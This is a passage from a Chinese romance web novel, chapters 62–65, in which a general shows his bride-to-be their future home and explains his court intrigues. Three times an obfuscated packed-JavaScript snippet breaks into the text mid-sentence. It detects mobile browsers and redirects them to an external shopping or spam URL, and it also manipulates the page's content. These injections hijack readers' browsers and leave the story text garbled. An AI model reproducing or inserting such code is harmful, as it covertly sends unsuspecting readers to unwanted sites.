那个她在书上读到的人，也是她唯一一次被允许出门后，去见的第一个人，那个叫霞客镇的地方，他像矗立在那里，像个沉默的守护者，她轻轻握了他的手，有些凉，可她的心却是滚烫的。 那个人用一辈子走遍山川，写下了《徐霞客游记》，她还记得那些文字，记得那些她从未亲见却仿佛能看见的画面，他写黄山的云海，‘左天都，右莲花，背倚玉屏风’，他写天台山的烟雨，‘泉声山色，往复创变’，武当山的桃李，‘连逾山岭，桃李缤纷’。 还有那些叫不出名字的奇花异草，和三百多个溶洞的奇观，即便她被困在病床的方寸之间，看到那些文字，她好像也跟着走遍了山河大川。 她的心忽然动了一下，“他——该不会姓徐吧！” 霍抉低下头投过来一个“你怎么知道的？”的眼神，“他叫徐启之，你——认识？” 姚知韫摇了摇头，唇角却弯了起来，“只是我正好知道那么一个人。”她的目光悠悠的，“他——也姓徐。” “他去过很多地方吗？”她淡淡地问，眼睛却亮晶晶的。 “很多。” “他去过西域吗？”听说那里的葡萄又大又甜，听说那里的丝绸之路很繁华，只是徐霞客好像并没有去西域，她也是后来在网上看到过，是一个充满了神秘色彩的地方。 “嗯。” “去过东海吗？”那个充满着神奇故事的地方，蓬莱、瀛洲 “嗯” “也见过长到一人高的花，或者会吃虫子的草吗？” 姚知韫问的每个问题看似都很随意，好像只是随口之言，可有可无。 62. 归雁居 可霍抉还是发现了她言语里的期待，不由得将她抱紧一些，心里隐隐有些后悔，不该请徐启之来，不过看着她眼底的小心翼翼，他又不忍心扫她的兴，他还是闷闷地应了一句，“等他来了，你可以直接问他。” 不等姚知韫再追问，霍抉突然话锋一转，问道，“韫儿，你想去吗？” 姚知韫的身子微微一僵，想去吗？当然想，前世因为身体不能去，如今又因为身份去不了，终究都是遗憾，她垂下眼，声音格外的轻，像是说给自己听，“有机会吧！” 霍抉没有说话，他只是把她抱得更紧了些，过了好一会儿，他的声音从头顶传来，低低的，却也稳稳的，因此显得格外郑重。 “等尘埃落定，我带你去嘉兰关，可好？” 姚知韫抬起头，嘉兰关？父亲守护了半生、他也守护了七年的地方，他曾经说过那里的繁华，还记得他说的那句‘不望祁连山顶雪，直把甘州当江南’的地方。 她没有回答，他也没有说话。 直到霍抉轻轻地将她放在地上，姚知韫才发觉，他们并不是在竹外轩的月亮门。 反倒是在竹外轩往西一道墙前。 这面墙约十丈有余，是竹外轩里最平整的一面。她曾沿着墙根种了些薜荔——夏日里搓一盆晶莹剔透的薜荔冻，淋上蜂蜜或桂花蜜，吃起来像极了小时候的凉粉。后来又添了覆盆子，矮矮的灌木丛挨着墙根，初夏时红果累累。再往南，到那堵墙的尽头，栽着紫藤。春日花开时，披垂摇曳，宛若璎珞，她常常坐在下面，一坐便是半日，什么烦恼都忘了。 霍抉扒开墙上垂落的枯枝，露出一个八角门来。 门不大，木头却是新的，掩在薜荔与枯藤之间，因为枯枝遮掩，若不是有心，根本不会发现。他抬手推开那扇木门，牵着她走了进去。 姚知韫怔住了。 眼前是一个比竹外轩要大了两倍的院子，纵横铺着八条青石小径，整整齐齐地伸向四方小径的两侧都种着树，一棵挨着一棵，只是冬日里落了叶，光秃秃的，认不出是什么。 “这是芳菲苑，我问过人了，以这条小径为中轴，南边的是桃树，北边的是杏树，” 霍抉牵着她的手，沿着青石小径往前走，他今日就穿了一件象牙白的广袖大襟袍，宽袖垂落，腰系丝绦，整个人褪去了几分武将的凌厉，像个闲适的文人，两人挨得很近，宽大的衣袖垂下来，恰好遮住两人的手，外人们也瞧不出什么。 “再往前有个池塘，里面种满了荷花，池塘上有座闲云亭，夏日可乘凉赏荷，”他指着前方，侧过头看着她。 “你看喜不喜欢？要是不喜欢，可以拆了，按照你的喜好重新建，这个正好与竹外轩连着，或者你想把这堵墙拆了，连成一个大院子，多弄几个暖棚也行，都随你。” 姚知韫没有说话。 她只是望着眼前这片尚未苏醒的土地，在脑海里一点点描摹它春天的模样——南边的桃树开成一片红云，北边的杏树绽作满树绯雪，桃红杏白，交相辉映，灿烂得让人移不开眼。 她随着霍抉继续往前走，看见了那个“池塘”。 这哪里是池塘？ 这差不多算是一个人工湖了。 湖面宽阔，一半还铺着枯荷，虽已凋零，却仍能想见夏日里“接天莲叶无穷碧”的景象；另一半则是清清凌凌的湖水，水面如镜，倒映着天光云影。 闲云亭就建在那半池清水中央。 六角攒尖，四面通透，六根朱红漆的柱子，柱间设着座凳栏杆。亭柱上挂着一副楹联：“四壁荷花三面柳，半潭秋水一房山”。 一座木制的小桥从岸边延伸过去，连接着青石小径，坐在亭中，脚下是清池，眼前是荷花，耳边是水声，她不自觉地闭上眼睛，仿佛已经看见夏日荷花盛放的模样。 “喜欢吗？”霍抉的声音带着一丝不确定，生怕她不喜欢。 姚知韫睁开眼，望着眼前这片为她准备的天地，唇角弯了弯。 她轻声说，“就这样，很好。” 霍抉没有说话。 他只是静静地站在她身侧，看着她望着那片枯荷出神的侧脸。冬日的阳光淡淡的，落在她眉眼间，把那双眼睛映得格外明亮 他心里忽然涌上一股说不清的滋味。 像是偷偷藏了很久的糖，终于被人发现了。 又像是小时候第一次射中靶心，想喊又不敢喊，只能憋着，憋得胸腔里又胀又满。 她说喜欢。 说就这样很好。 他弯了弯嘴角，偏过头去，假装在看那半池枯荷，可那笑意从唇角一直蔓延到眼底，藏不住，压不住。 牵着她往前走的脚步，都不自觉地轻快了不少。 沿着湖堤又走了一段路，看见一座垂花门，比姚府要气派不少，门楣上的木雕繁复精致，垂着两朵倒悬的莲花，朱漆鲜亮，应是重新粉刷过不久。 两人抬步跨了进去。 左右两侧各有两层小楼，遥遥相对，霍抉边走边指给她看，“东边是揽月楼，登楼可望全府，夜可观星赏月，西边是听竹斋，楼下是书房，楼上可作琴室。” 霍抉侧头看她一眼，眼底有着几分小心思被看穿的赧然，他记得她书房里那些乐器，有些是他认识的，有些则是他没见过的，她收集了那么多，想来是她的爱好，只要她喜欢，做什么都没关系。 “这个院子是三进的院子，我们从后面过来，过了这个月洞门就是正院。” 他收回目光，继续往前走。 姚知韫随着他穿过月洞门， 正院很开阔，正北是五间阔的正房，灰瓦青甍，门窗都是上好的楠木所制，雕花繁复却不失清雅，糊着明瓦，透光而不透影。 院子方方正正，院中与她居住的地方一样，也有一棵树，只是不是槐树，而是梧桐。 “梧桐引凤，槐树纳福，韫儿可还喜欢？” 她没有说话，心却像是被什么轻轻攥了一下，嘴角早就忍俊不禁，转个身朝着内室走去，期待着下一个惊喜。 这屋里——竟和她的卧室一模一样。 那张床，不是寻常的架子床，也不是拔步床，而是她让人特意打的那种“现代床”。只是比她那张大上许多，占了小半个内室，还有她沙发，也是她设计画图让人专门做的，她喜欢窝在上面看书。 还有吊椅。 她怔怔地站着，一时不知道该说什么，这些必定不是一时半会就做好的，想来是他准备了很久了。 霍抉站在她身后，没有出声，只是静静地看着她，笑着示意她往里面走。 过了好一会儿，她才挪动脚步，往里走去，东次间是书房，临窗一张大案，案上文房四宝俱全，墙上挂着的正是她那日在明德书院画的《石竹图》。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352123|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚知韫看向霍抉，眼角微微泛红，他——拿回来了？ 在那张大案的旁边有一张大小差不多的案，难道是给她准备的？ 东耳房做了茶室，同样是一张大案，四把椅子，摆着与她惯用的一样的青瓷茶具。 西耳房做小憩之用，一张矮榻，一床薄衾，角落里还放着她喜欢的梅花折枝。 她一样一样地看过去，看得仔细，霍抉跟在后面，走得也很慢，目光却始终落在她身上，直到她看完最后一眼，转过身来，他才开口。 “不喜欢的，都可以改。” 姚知韫没说话，站在原地，不知道该说些什么。 她的床，她的软榻、吊椅——，一切的一切，好像将她的房间原封不动地搬了过来。 她慢慢地走到那张吊椅前，伸出手，轻轻推了一下，吊椅晃了起来，一下又一下。 原来被人这样在意着，是这样的感觉，那种轻轻的、妥帖的、恰到好处的——被放在心上的感觉。 她抬起眼，看向霍抉。 他站在那里，没有催她，没有问，只是安静地等着，目光落在她脸上，像是在等一个答案，又像是在等一个判决。 她忽然笑了。 “霍抉。”她唤他。 他微微一怔，应了一声：“嗯？” 她张了张嘴，想说什么，可话到嘴边，又觉得什么都不用说，最后她走过去，在他面前站定，仰起头，望着他那双有些紧张的眼睛，然后伸出手绕过他的后背轻轻将他抱住。 “就这样，很好。” 两人跨过垂花门，便是方方正正的前院，青砖墁地扫得一尘不染，正厅也是五间阔，简雅大气，不假雕琢。 “正厅用来会客，我已吩咐人清空了，就按照你的喜好来布置，东厢三间是理事之处，你是侯府的主母，中馈之事虽不必亲力亲为，却也得有得力之人，回头我便唤了牙婆来，人你自己挑，贴身服侍的我来安排，交给常嬷嬷调教后，就留在身边。” “西厢也可以做待客之所，关系稍近一些女眷，可以在西厢叙话，不必去正厅那般正式。” 霍抉经过方才的鼓励，话匣子便打开了，一路上事无巨细地给姚知韫介绍着这个院子。 姚知韫只是笑着听他絮叨，目光却扫过院中陈设，靠向西侧的地方也有一棵老槐树，树干粗壮得要两人合抱，枝丫延伸犹如一把睁开的墨色的大伞，树下摆着一张石桌，四个石凳。 厢房前各植一株海棠，想来春日开花时，粉白相间，倒是与那棵老槐树相映成趣，两侧的枝丫遥遥相望，似要相接，待到夏日枝繁叶茂，定是遮阳的好地方。 她看着，唇角便弯了弯。 霍抉还在说着什么，她已听不太清了。 “这个院子，还没名字，不如——，”霍抉面上罕见地闪过一丝促狭，故意拖了长长的尾音，“请未来的女主人给取一个。” 姚知韫怔了一下，随即笑起来，这里是未来的家。 她想起第一次他们坐下来聊天的时候，他曾经说过，刚到嘉兰的时候，就像一只落了单的孤雁，她也是，两辈子，一个人飞，一个人停，一个人守着空荡荡的巢。 如今，终于落地了。 一起。 她想也没想，那几个字便脱口而出，“就叫——归雁居吧！” 霍抉愣了愣，随即笑了起来，满眼星辰。 63. 科举出身的人 听着霍抉的介绍，姚知韫对整个侯府的格局渐渐清晰起来。 这个院子足足有30亩，也足足有姚府两个大，他们此刻所在的是中轴主院，她刚取的名字归雁居，以它为核心，东西两路各有两个院落。 东路院落前院是二进的承晖院，后院也是两进温玉院，西路同样是两进的院子，前为近贤院，后为栖云院。 沿着中轴再往前就是侯府的前院，是给霍抉处理公务、待客、宴宾等用，仪门、大门依次排开，威仪堂堂。 东西两路各有回廊相连，回廊的后面是一排罩楼，下人们居住之所。 他们进来的芳菲苑只连着主院，不连前院，不接东西跨院。 姚知韫默默地想着，这样一来，芳菲苑就变成了主院的后花园，那样的一片湖光花色，只属于她，不，是他们。 而芳菲苑连着竹外轩，她可以随意出入，这么想来，除了芳菲苑，整个姚府都变成了她的后花园，若是以后她想躲个清静，还是受了委屈，都可以随时回到姚府。 她不由得看向霍抉，怎么看，这都像是故意而为，是他的私心吧。 不然偌大的一个芳菲苑，怎么能只有一个出口？还正好连着主院。 仿佛知道她在想什么，霍抉没说话，只是笑笑。 那笑意淡淡的，却从唇角、眼尾一直蔓延到心里的，还有不到二十日，他便可以将她从大门堂堂正正地娶进门，她便是他的妻子，这侯府的主母，是与他生同床，死同穴之人。 真好，一切都来得及。 至少，这一辈子他没有遗憾。 两人沿着来时的路，回到姚府。 常嬷嬷已经做好了午膳，正等着他们，今日吃得也很简单，肉末茄子，酸汤鱼，清炒白菜，枸杞冬瓜汤，再配上一碗白米饭。 姚知韫偏好酸口，那道酸汤鱼正合她意。霍抉对吃食素来不讲究，什么都行。两人倒吃得甚是和谐——姚知韫吃不完的，自然而然地往他碗里一放，他也不嫌，照单全收，三两口便没了踪影。 两人一个放，一个吃，自然而然，谁也没觉得有什么不妥。 小桃在一旁看着，捂着嘴偷笑，眼睛弯成了两道缝。 常嬷嬷则是满眼的欣慰，那目光落在姚知韫身上，又落在霍抉身上，来来回回，像是在看什么稀罕的景致。末了，她悄悄转过身去，装作收拾碗筷，可那眼角的笑意，怎么也藏不住。 她看着他风卷残云的模样，忽然想起他从前说过的那句话“粮食金贵，不能浪费”，不由得垂下眼，眼尾却轻轻挑了起来，看得出的愉悦。 饭后，小桃按照姚知韫的习惯，将茶水放在老槐树下，摇椅上也铺上了厚实的毯子。午间阳光正盛，不过也就这一小会的天光，过了未时钟，起风便有些凉意了，便不适合坐在外面了。 霍抉也不急着离开，移步陪着她坐在老槐树下，喝茶聊天。 从天南海北，到家长里短，从儒家到墨家，甚至兵法上，姚知韫也能应上两句，不过她那些都是纸上谈兵，做不得真。 两人谈得甚是投机，聊着聊着才发现，两人竟然还有很多的共同爱好，比如下棋，不只是围棋，还有象棋。 姚知韫眼睛亮了亮，以前府里只有她一个人，她都自己和自己下，如今好不容易找到一个可以陪她下棋的人，她心里便再也忍不住了，“手谈一局？” 得到霍抉的首肯后，便吩咐小桃将棋盘摆上。 这七年来，风叔每隔五日便会写一封书信，信上对姚知韫的事情事无巨细，她每日的作息、吃食、喜好，他无一不知，知道她会下棋，却从未拜过师。 只是看着她那副跃跃欲试的小模样，他心里便有了计较——让着她些，哄她开心就好。只要她高兴，输赢又有什么要紧？ 可是几手下来，霍抉便不得不收起那点漫不经心，拿出些心思来应对，她的棋路大开大合，步步杀机，几路下来他竟然也有些招架不住。 “韫儿，你棋是跟谁学的？”他慎重思考后落下一子，抬眼看她。 姚知韫执棋的手微微一顿，跟谁学的？ 她十六岁第二次发病，隔壁床的病友是个围棋高手，虽然只有十四岁，已经是世界冠军了，同住一个病房又年龄相仿，闲来无事，她便教她围棋，天天陪着一个世界冠军下棋，想不会都不行，更何况老天虽然没给她一个好身体，却给了她一个好脑子，那些棋谱她看一遍就能记住，记住了就能用上。 到了这里后，七年光阴，她又无事可做，除了那个暖棚外，就琢磨那些棋谱，一个人对弈，一个人复盘，跟自己较劲。 “书上学的。”她落下棋子，轻描淡写。 霍抉看着棋盘上那枚刚落下的黑子，沉默了一瞬，随即长长叹了一口气，“我输了。” 姚知韫将手中的棋子放回棋奁，眼底的笑意怎么也藏不住，她歪了歪头，“识时务者为俊杰，霍将军明智的选择。” 装好棋子，她将棋奁推到霍抉跟前，“这回你执黑子，你先。” 霍抉也不客气，两人你来我往，落子声清脆如珠落玉盘，老槐树的影子一寸一寸地移，茶水添了一回又一回。 足足两个时辰，霍抉也只堪堪赢了一回。 若不是青木有事奏报，两人怕是不会收手。 “将军——，”青木站在不远处，不着痕迹地看了姚知韫一眼，欲言又止，见霍抉点头，才低头开口。 “赵也死了，昨夜他趁着酒意，闯了红语姑娘的闺房，红语姑娘宁死不从，追逐间，赵也从二楼跌落，灯柱穿心，当场毙命。” 霍抉没有抬头，拇指摩挲着那枚光滑的棋子，面上看不出什么表情，只是淡淡地“嗯”了一声，“刑部清吏司曹大人，向来刚正不阿，查案也是一把好手。” 青木眼底闪过一丝笑意，抱拳应道，“是，属下明白。” 霍抉垂眸掩去眼底的冷峻，挥手让青木退下，他侧过身继续将棋子放在棋盘上，“该你了。” 姚知韫将棋子放回棋奁，拍了拍手，“将军有事，可以先忙。” “不忙，今天就陪你。” 他并不愿意让她看到他弄权的这一面，可那一部分是最真实的他，那日她说的话，还有知道他领了京营提督职的时候，用《淮阴侯列传》来提醒他，兔死狗烹。 这一切，让他相信，她可以与他并肩，所以，今日他尝试将一些外面的事情说给她听。 姚知韫不说话，只是又拈起一枚棋子，目光落在棋盘上，什么也不问，仿佛知道他会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355658|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着往下说。 “你也知道我接手了京营，京营的关系错综复杂，有皇室子弟，也有世家公子，还有宦官的人，我想全面接手，自然是要清洗一遍，这赵也是五军营右掖指挥使，是上一任提督的人，有倒向赵虢之意，而赵怀是神机营指挥使，是赵虢的义子，而这个红衣姑娘是赵怀的相好，所以——。” 霍抉说完目光就没从姚知韫的脸上移开，看着她陷入了沉思，他的等待显得更加小心翼翼起来。 姚知韫虽然不知道京营究竟是什么配置，但霍抉的话她听明白了，赵怀手握神机营，而那个赵也手上有五军营的右掖，算得上旗鼓相当，一山不容二虎，赵怀自然不会眼睁睁看着赵也投靠赵虢，抢了自己的风头，再加上赵也觊觎那位红语姑娘，于是就起了杀念。 赵也死了，赵虢定然是不肯再舍弃赵怀，刑部惧怕赵虢的势力，必定高高举起，轻轻放下，而霍抉的本意是清理京营，自然不会允许这样的事情发生，但霍抉不方便直接插手刑部之事，引得皇上猜忌，于是推了那位曹大人出来，要一查到底。 “那——这位曹大人是你的人？”姚知韫的棋子落得依然干脆。 霍抉终于等到姚知韫开口，心下松了一口气，可却涌上来更多的欢喜，说的也就更详细了，“不是，曹大人是同光三年的进士，那年中举的有的进了翰林院，有的外放，只有他既无人脉也不愿意拜门，便只能到刑部做一个文书，好在这位曹大人能力不错，一路从文书熬到清吏司，也因为性格原因，十七年了也只是清吏司一个员外郎。” 姚知韫笑笑，这样的人擢升起来确实很难，需要明白人提携，既然这位曹大人不是霍抉的人，那就是霍抉手上有赵怀杀人的证据，能让那位曹大人挑不出错。 可据她知道的官职，员外郎只是从五品，上面还有郎中才是主事之人，想到这里，姚知韫突然灵光乍现。 “所以，你手上可以把那位郎中拉下马的事情？” 霍抉将最后一枚棋子放在棋盘上，不说话，只是高兴地看着姚知韫，“韫儿，这局我赢了。” 他理了理衣袖，“清吏司的郎中林佘，也是赵虢的人，上次我去梓州带回来一位学正胡大人，他手上恰好有林佘和梓州知州勾连的证据，他们只手遮天，让梓州的百姓投告无门，胡大人到了京城后，直接在隆德门拦了常御史的轿子，常御史又是清正之人，如今这证据怕是已经放在刑部尚书的案几上了。” 所以，若是这林郎中出了事，一时半会没有替补之人，自然只能由员外郎补上，赵怀这事交到曹起的手上，他定然会里里外外查个水落石出，只要证据确凿，就算是赵虢想保赵怀，也是保不住的。 姚知韫眼底带着一丝了然，“所以，你准备帮一把曹大人？” 霍抉没有直接回答，只是将棋盘上的棋子一粒一粒地拣进棋奁，“刑部左侍郎的位置正好空着，”至于能不能坐上去，那就要看他有没有这个本事了。 姚知韫看着霍抉那张波澜不惊的脸，那双深不见底的眼睛即便满是温柔，也掩不住眼底的冷冽，他军功赫赫，身上威武之气太盛，寻常人见了，第一眼注意到的总是那股杀伐决断的气势，很容易便忘了—— 他也是正经科举出身，是走过笔尖刀锋的人。 64. 筹谋 “腊月初七，铺房，先将常嬷嬷准备的嫁妆送到侯府，你与孙家姑娘相熟，我便请了孙家兄长来为你送嫁妆，皇上下旨，请昌平伯孙大人做我们的主婚人，至于其他需要长辈的，我们两边都没有，只能我们自己来，委屈你了。” 霍抉看着她，愧疚跃然眼底，还是亏欠了她，心中暗暗下了决定，以后会好好补偿她 霍抉突然绕到婚礼事宜上，让姚知韫有些措手不及，微微愣了一下，一时没反应过来，怎么就从曹大人突然跳到婚礼上了？ 她只能怔怔地听着，直到那句“委屈你了”落在耳朵里，才猛然回过神来，随即，脸色渐渐泛起一层薄红。 真的要嫁了吗？ 她垂下眼睛，轻轻地点了点头，“好，” 霍抉见她应下，眼底逾越更甚，又接着往下说。 “送亲队伍从姚府出发，走府前街，经鼓楼，到四井门祭拜后，最后经过双塔坊，再到侯府，” 姚知韫听着，先是愣住，随即心底涌上一股复杂的情绪，有些感动，也有些不安。 明明两座府邸只隔着一道墙，可他偏偏走了京城最繁华的府前街，还刻意绕道四井门。 四井门，她知道的。 那是当年太祖皇帝立国之初，纪念为国尽忠之人专立的牌坊，后来太宗皇帝还是太子时，成婚前曾到四井门祭拜，成婚当日便传来边关捷报，遂成惯例，皇室成婚，必到四井门祭拜。 只是大晋立国逾两百年，同光帝又重文轻武，许多规矩渐渐废弛，只剩一些百姓逢年过节的时候还会到那里祭拜。 但若是婚娶之事，想要经过四井门，还是要皇帝特旨。 姚知韫想起之前那些传言，他又身处暗流涌动的朝局，特意为这个去请旨，不怕遭皇上猜忌吗？ 赐婚的事情，她后来也想明白了，之所以传出霍抉要与崔家联姻的传言，是他自己放任的，有意让有心之人误解，最后传到皇上耳朵里，为了平衡朝局，皇上断然不会让他与崔家有任何的牵连，最后只能将她这个没有任何背景的孤女推出来，哪怕他们之间隔着辈分，赐婚可以解决一切的问题。 在赐婚这件事上，皇上自觉欠了霍抉人情，多少有些愧疚，可若是霍抉为了她请求过多，势必会引得皇上揣测，坐在最高的那个位置上，一旦怀疑的种子种下，便会不断地滋生，肆意生长。 她抬起头，看向他，轻声道，“要不，四井门就算了吧！” “经过四井门，是皇上自己提的，不算逾越。” 姚知韫不解地微微蹙眉，不解皇上为何会主动地提起这样的要求。 霍抉的微微一笑，略带一丝不经意的炫耀。 “皇上钟意于幽禾之女给太子做侧妃，用来制衡二皇子，可如今于婉茵与二皇子私通之事一出，于家自然不能再与太子有任何关联，二皇子虽然丢了面子，可得到了实惠。” 姚知韫静静地听着，没有插话。 “只是适当地在皇上困扰的时候，适当地将柳承庆奏折递到他的跟前。” 不等姚知韫询问，霍抉直接说了起来。 “他是庆丰十四年受栾亡谋反的牵连入狱，同光三年才被平反释放，但此人不畏权贵，心怀悲悯，当年便是不愿意将一桩公案按在栾亡身上，便被打成栾亡一党，出狱后也一直不得重用，被贬到阜州那样的贫瘠之地做县令，他十年如一日，兢兢业业，从不敢懈怠，把一个穷地方治得民生安定、税赋满盈。” “任职期满，吏部给的考核也是上等，回京后本该扶摇直上，又得罪了崔维则，被弄到鸿胪寺做了个闲职。” 说到这里，霍抉突然停下，垂下眼帘，端起刚添的茶水，氤氲热气遮住了眼底的情绪，留给姚知韫思考的空间，他知道，她很聪明，稍微给她一些弦索，她便能将事情猜个八九不离十。 他回京后的第一件事，便是将当年柳承庆的文章透露给孙懋修，这篇文章自然就到了孙鹤年的案头上，孙鹤年做了那么多年吏部尚书，看到这样的官员，自然不会无动于衷，不足半月，柳承庆便被调到了刑部，如今是刑部的左侍郎。 霍抉说得很简单，姚知韫却在心中渐渐勾勒出一个刚正不阿的人的形象，可一个鸿胪寺如何能给太子造势呢？要么这个人有过人的背景，可若是这样又怎么会被打压如斯，要么就是如今已经得了皇上的赏识。 “他如今是什么职务？” 霍抉眼底是赞许毫不保留，“刑部左侍郎。” 果然，他姓柳？难道——，“他是河东柳家人？” “我的韫儿，果然聪明，他是柳家人，却不是河东柳家，而是江陵柳家，河东柳家在前朝覆灭后，便与霍家一般避居乡野，江陵柳家只是柳家的分支，不过虽然不足以与崔家对抗，可比起于幽禾，还是有分量得多。” “而且，柳家家风严正，一世求公，虽在朝局中不能与崔家抗衡，可在读书人的心中，柳家的地位要比崔家来得更有威望，这样的人既能让太子与二皇子抗衡，又不用担心他因为姻亲关系就一味站在太子身后。” 原来如此？可这和皇上下旨让他们到四井门祭拜也没有必然联系？ 霍抉放下茶盏，“胡大人在隆德门拦了常御史的轿，常御史捏着证据将满朝重臣都弹劾了一遍，而负责梓州案件的正是柳承庆。” 姚知韫点点头，似乎明白了，常御史的事她听得最多，这位老御史今年八十岁了，三朝元老，两代帝师，生气起来连皇帝都敢骂，皇上自然是能避就避，不敢得罪，柳承庆又是皇上自己提拔，想重用之人，更是不能下了面子。 如此一来，朝堂上自然是吵吵闹闹，朝臣更是惴惴不安，皇上急需一件事来安抚人心，冲去阴霾，思来想去，只有霍抉的婚事了，所以便有了四进门祭拜之事，一来算是给霍抉娶了她这个孤女的补偿，二来彰显皇恩浩荡，安抚人心。 想明白了这件事，姚知韫眼底便浮起一丝狡黠的光。 “所以，”她侧过头，身体微微前倾，用着她特有的那种软糯的声音，“这位柳大人——是你的人？” 霍抉闻言，忽然倾身过来，越过棋盘，猝不及防地在她柔软的唇上亲了一下，轻轻的，软软的，带着他独有的气息。 他退了回去，眼底掩不住的笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360469|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“猜对了，奖励你的。” 姚知韫愣住，脸颊”腾“地一下烧了起来，她慌乱地低下头，却无论如何也抑制不住心底的喜悦。 她喜欢这样。 他与她分享的感觉，将外面的事情一点点地讲给她听，以后若要与这些夫人们应酬，也可以有的放矢，不至于成为他的负累。 霍抉看着她，低垂的眉眼含羞带怯，阳光在她的脸上镀上一层金灿灿的光，心里就变得格外柔软，他不由自主地伸出手，握住她放在桌沿的手。 那双手柔软温润，像上好的暖玉，在他掌心里微微发热，他的指腹粗粝，有长年握枪磨出的厚茧，轻轻摩挲着她的手背，小心翼翼的，生怕一不小心就伤了她。 “难道于婉茵的事也是你？”姚知韫眼底突然迸发出一丝光，像是发现了什么了不得秘密。 霍抉并未直接回答，反倒是轻轻一拉，姚知韫鬼使神差地走了两步，人还没反应过来，便被他拉着坐在腿上，他的手臂环绕着她，将她整个人圈在怀里。 姚知韫羞怯地挣扎了两下，没有挣脱，只好红着脸悄咪咪地抬起头环顾四周，小桃与常嬷嬷不知何时已经离开了，院子里空荡荡的，只有他们两个人。 她稍稍松了一口气，却还是有些不自在，身子僵僵的，不知道该怎么做。 霍抉的手臂却收得更紧，把她往怀里拢了拢。 “谣言的事，是从宋国公府传出来的，”他的声音低低的，带着一丝冷意。 姚知韫只是安静地听着，她知道他有未尽之语，却不着急询问。 她感觉到他说起宋国公府时，身子明显地紧了。 孙氏想算计她，却反倒蚀把米，于她自然恨得紧，有了机会败坏她的名声，倒也不奇怪。 霍抉的双臂又收紧一些，却没有接着说下去。 谣言的事情并没有那么简单，不仅宋国公府，背后还牵扯二皇子，可他不想让她知道，不想让她胡思乱想，也不想那些事情脏了她的耳朵。 但他心里早就有了决定，他从地狱里爬回来，只为两件事，一是护着她，二是让那些害过她的人罪有应得，不管是上一世，还是这一世，无论什么原因，他一个都不会放过。 他将下颌放在她的头顶，轻轻蹭了蹭，“韫儿，总有一天我会让他们所有人都付出代价。” 霍抉声音里的那股恨意，太深了，深得像的刻在了骨子里。 姚知韫不解，却没有追问，只是将身子靠在他怀里，听着他沉稳的心跳，安安静静地任由他抱着。 他究竟与这些人之间有着怎样的怨恨？让他如此执着。难道与她父亲的死有关系？ 起风了。 太阳西斜，院子里的光线渐渐变得柔和，却也带了几分凉意。姚知韫不自觉地微微一颤，心里估摸着，这个点怕是已经申时了。 她便想起身回屋，却听见霍抉忽然开口。 “你的那些乐器，想什么时候搬过去，我让青木来帮忙。” 姚知韫微微一怔，原本要起身的动作顿住。 乐器？ 他说的是书房那些东西吧。 65. 亲迎1 这些年在姚府，一个人闲着无事，一件一件收罗来的，聊以自遣，有些还是他从嘉兰捎回来的，每次她想找什么，他便能从各地给她搜罗回来。 想到这里，她突然来了兴趣，有了显摆的小心思，“想不想去看看？” 霍抉看着，看着那双亮晶晶的眼睛里藏不住的小得意，心里更是软成一片，到底只是个十几岁的孩子，虽然聪明，看上去也稳重，可有点小心思还是全写在脸上，他也不点破，只是微微点了点头。 姚知韫猛地起身，拉了霍抉一把，便拉着他朝着书房走去。 书房的门推开时，一股淡淡的墨香和木香混在一起，扑面而来。 这是霍抉第一次走进这里，知道她搜罗了很多东西，却不知道竟有这么多，墙上挂着的琴，架上摆着的筝，角落里堆着高高低低的错落的鼓，还有那些叫不出名字的乐器，挤挤挨挨地占满了书房整整一面墙，他在门口站定，目光缓缓扫过，心下诧然。 他只觉得，好像从这一刻才开始了解她。 姚知韫松了手，快步走到摆放的那些乐器前，像个得了新玩具急着显摆的孩子，回头冲霍抉笑着招手，“你来看。” “千年的琵琶万年的筝，一把二胡拉一生，唢呐一出全剧终”。 霍抉看着她眼底闪着的星光，听着她不知道从哪里听来的顺口溜，一边指着那些东西，一个一个地给他介绍。 “这个是埙，是陶土烧制的，音色苍凉古朴，那个是葫芦丝，是乌蒙那边传过来的，我偶然所得，音色特别美，”说着，她便取下来放在唇边，自顾自地吹了起来。 霍抉没有听过这样的曲子缓缓地流淌出来，那声音柔柔的，像月光从窗棂间漏进来，一寸一寸地铺在地上，又像是竹叶在夜风里轻轻摆动，叶片碰在一起，发出细碎的沙沙声，有时一片叶子独自摇曳，在月光下画出浅浅的影。 霍抉闭上眼睛，仿佛战场上的厮杀声，朝堂上的尔虞我诈，那些压在心里两辈子的重担，都在这个声音里，一点点地花了。 然后，声音停了。 姚知韫的声音响起，显摆似的将放在右手边的那个大家伙拖出来，拍着其中的一个八角鼓，“这个就是你送回来的八角鼓，当时我找这个找了好久，还好你送来了，不然我都做不成了。” 